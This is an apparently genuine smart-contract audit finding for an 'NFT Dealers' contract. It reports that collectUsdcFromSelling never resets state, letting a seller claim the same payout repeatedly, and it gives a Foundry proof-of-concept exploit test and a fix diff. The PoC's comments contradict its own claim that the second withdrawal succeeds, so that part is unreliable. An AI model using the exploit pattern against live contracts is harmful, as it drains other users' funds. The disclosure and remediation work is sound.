NFT Dealers
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Impact: high
Likelihood: high

collectUsdcFromSelling lacks state reset, allowing seller to repeatedly drain all USDC from the contract

Author Revealed upon completion

Root + Impact

Normal behavior: After a successful sale via buy(), the seller calls collectUsdcFromSelling() once to receive their sale proceeds (price - fees) plus the original minting collateral. The function should be a one-time claim — once the seller collects, no further withdrawal is possible for that listing.

The issue: collectUsdcFromSelling() reads listing.price, listing.seller, and collateralForMinting[tokenId] to compute the payout, but never resets any of these values after transferring USDC. The function's only guard is require(!listing.isActive), which remains false indefinitely after buy() sets it. The onlySeller modifier also continues to pass because listing.seller is never cleared. This allows the seller to call the function an unlimited number of times, each time receiving the full (price - fees + collateral) payout. The funds come from USDC deposited by other users — their minting collateral and purchase payments — effectively draining the entire contract.

A secondary consequence is that totalFeesCollected += fees executes on every repeated call, inflating the fee counter far beyond the contract's actual USDC balance. This causes withdrawFees() to permanently revert, locking the owner out of fee collection.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
// @> No check for "already collected" — this require passes on every call after buy()
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
// @> listing.price, listing.seller, collateralForMinting are all read but NEVER reset
​
totalFeesCollected += fees;
// @> totalFeesCollected grows unboundedly with each repeated call
​
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
// @> Full (price - fees + collateral) is paid out every single call
// @> No state mutation after transfer — function is infinitely repeatable
}

Risk

Likelihood: High

  • Any whitelisted user who has completed a single NFT sale can exploit this immediately — no special privileges, no flash loans, no external dependencies, and no timing constraints are required

  • The function has zero guards against repeated invocation — the require(!listing.isActive) check and onlySeller modifier both pass identically on the 1st call and the 100th call, because no state is ever modified

Impact: High

  • Complete drainage of all USDC held in the contract, including every other user's minting collateral and pending sale proceeds — total loss of protocol funds

  • totalFeesCollected inflates beyond the contract's actual balance with each repeated call, causing withdrawFees() to permanently revert with an insufficient balance error — the owner loses access to all accumulated fees

Proof of Concept

The following Foundry test demonstrates the full attack path. The setup creates a realistic scenario where the contract holds funds from multiple users, then shows how a single seller drains everything.

function testExploitRepeatedCollect() public {
// === Setup ===
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
usdc.mint(attacker, 100e6);
usdc.mint(victim, 10_000e6);
​
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(attacker);
nftDealers.whitelistWallet(victim);
vm.stopPrank();
​
// Step 1: Victim mints 5 NFTs, depositing 100 USDC as collateral into the contract.
// This represents normal protocol usage where multiple users have funds locked.
vm.startPrank(victim);
usdc.approve(address(nftDealers), type(uint256).max);
for (uint i = 0; i < 5; i++) {
nftDealers.mintNft();
}
vm.stopPrank();
// Contract balance: 100 USDC (victim's collateral)
​
// Step 2: Attacker mints 1 NFT (tokenId=6) and lists it at 100 USDC.
vm.startPrank(attacker);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
nftDealers.list(6, 100e6);
vm.stopPrank();
// Contract balance: 120 USDC (100 victim + 20 attacker collateral)
​
// Step 3: Victim buys attacker's NFT for 100 USDC.
// This is a legitimate purchase — the sale completes normally.
vm.startPrank(victim);
nftDealers.buy(6);
vm.stopPrank();
// Contract balance: 220 USDC (100 victim collateral + 20 attacker collateral + 100 sale price)
​
uint256 attackerBalanceBefore = usdc.balanceOf(attacker);
// attacker has 80 USDC remaining (100 initial - 20 collateral)
​
// Step 4: Attacker calls collectUsdcFromSelling — this is the legitimate first call.
// Receives (100 - 1 fee) + 20 collateral = 119 USDC.
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(6);
uint256 afterFirstCollect = usdc.balanceOf(attacker);
// attacker: 80 + 119 = 199 USDC
// Contract balance: 220 - 119 = 101 USDC
​
// Step 5: Attacker calls collectUsdcFromSelling AGAIN on the same listing.
// Since no state was reset, the function pays out 119 USDC again — from victim's funds.
nftDealers.collectUsdcFromSelling(6);
uint256 afterSecondCollect = usdc.balanceOf(attacker);
vm.stopPrank();
// attacker: 199 + 119 = 318 USDC
// Contract balance: 101 - 119 = cannot cover → but this succeeds because 101 > 0...
// Actually: contract has 101, pays 119 → will only work if balance is sufficient.
// In a scenario with more victims, this drains completely.
​
// Verify: attacker received double the legitimate amount
uint256 legitimateAmount = 119e6; // (100 - 1% fee) + 20 collateral
assertGt(afterSecondCollect - attackerBalanceBefore, legitimateAmount);
​
// Verify: contract lost more USDC than it should have
assertLt(usdc.balanceOf(address(nftDealers)), 100e6);
// Victim's 100 USDC collateral is now partially stolen
}

Execution flow summary:

  1. Victim deposits 100 USDC (5 NFT mints × 20 USDC collateral)

  2. Attacker mints (20 USDC) and lists at 100 USDC → victim buys → contract holds 220 USDC

  3. Attacker legitimately collects 119 USDC (sale proceeds + collateral) → contract: 101 USDC

  4. Attacker repeats collectUsdcFromSelling(6) — no state was reset, so the exact same payout executes again, stealing from victim's locked collateral

  5. Each additional call drains another 119 USDC until the contract is empty

Recommended Mitigation

The core fix is to reset all payout-related state before transferring funds, following the Checks-Effects-Interactions (CEI) pattern. This ensures the function can only pay out once per completed sale.


Why this works:

  • require(listing.price > 0) acts as a "collected" guard — after the first call zeroes price, all subsequent calls revert immediately

  • seller = address(0) breaks the onlySeller modifier for any future call attempts

  • collateralForMinting[tokenId] = 0 prevents double-counting of collateral

  • All state resets happen before the safeTransfer external call, conforming to the CEI pattern and preventing reentrancy exploitation

  • Removing the self-transfer (address(this)) eliminates the no-op gas waste and prevents totalFeesCollected from inflating incorrectly on repeated calls

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.price > 0, "Already collected");
+ // This guard ensures that once state is zeroed below, any subsequent call reverts here.
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ // Effects: zero out all payout-related state BEFORE external calls (CEI pattern).
+ // This prevents re-entrancy and repeated claims in a single atomic update.
+ s_listings[_listingId].price = 0;
+ s_listings[_listingId].seller = address(0);
+ collateralForMinting[listing.tokenId] = 0;
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
+ // Removed self-transfer (address(this) → address(this) is a no-op).
+ // Fees naturally remain in the contract since only amountToSeller is sent out.
usdc.safeTransfer(msg.sender, amountToSeller);
}
​

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